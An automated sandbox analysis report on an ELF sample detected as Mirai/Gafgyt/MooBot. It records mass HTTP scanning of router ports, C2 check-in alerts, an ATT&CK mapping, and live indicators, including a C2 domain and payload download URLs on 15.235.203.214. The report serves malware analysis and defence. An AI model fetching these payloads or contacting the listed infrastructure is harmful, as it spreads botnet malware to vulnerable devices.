Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34388 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47030 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42798 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43344 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53244 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41312 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46748 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44526 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42764 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41912 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45678 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51920 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39718 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48680 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56038 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59014 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41812 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41774 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56876 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59842 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33458 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52464 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57570 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55364 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40048 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59942 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51760 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49518 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41686 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49280 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52350 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34484 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53784 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60124 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47376 -> 8081

Source: /tmp/U6YcZ2TLtT.elf (PID: 5488)

Queries kernel information via 'uname':

Jump to behavior

Source: U6YcZ2TLtT.elf, 5488.1.00005611aa52a000.00005611aa658000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: U6YcZ2TLtT.elf, 5488.1.00007fffdc02c000.00007fffdc04d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: U6YcZ2TLtT.elf, 5488.1.00005611aa52a000.00005611aa658000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: U6YcZ2TLtT.elf, 5488.1.00007fffdc02c000.00007fffdc04d000.rw-.sdmp	Binary or memory string: 4KfWb~x86_64/usr/bin/qemu-arm/tmp/U6YcZ2TLtT.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/U6YcZ2TLtT.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: U6YcZ2TLtT.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.00007f9260017000.00007f926003a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U6YcZ2TLtT.elf PID: 5488, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
U6YcZ2TLtT.elf	56%	Virustotal		Browse
U6YcZ2TLtT.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vector.mineheaven.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.mips	100%	Avira URL Cloud	malware
http://15.235.203.214/bolonetwork.x86	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.x86	0%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.mips	0%	Virustotal		Browse
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vector.mineheaven.org	15.235.203.214	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	U6YcZ2TLtT.elf	false	URL Reputation: safe	unknown
http://15.235.203.214/bolonetwork.mips	U6YcZ2TLtT.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	U6YcZ2TLtT.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://15.235.203.214/bolonetwork.x86	U6YcZ2TLtT.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	U6YcZ2TLtT.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
169.246.147.20	unknown	United States	557	UMAINE-SYS-ASUS	false
87.130.89.63	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
88.167.250.107	unknown	France	12322	PROXADFR	false
88.194.109.11	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
112.138.75.159	unknown	Japan	10010	TOKAITOKAICommunicationsCorporationJP	false
41.252.11.24	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
188.76.201.119	unknown	Spain	12479	UNI2-ASES	false
157.203.201.189	unknown	United Kingdom	1759	TSF-IP-CORETeliaFinlandOyjEU	false
91.191.27.147	unknown	Bosnia and Herzegowina	35567	DASTO-BOSNIA-ASBA	false
176.79.122.249	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
36.125.101.185	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
124.16.100.52	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
81.118.216.50	unknown	Italy	20959	TELECOM-ITALIA-DATA-COMIT	false
157.189.249.148	unknown	United States	2734	CORESITEUS	false
41.80.60.235	unknown	Kenya	37061	SafaricomKE	true
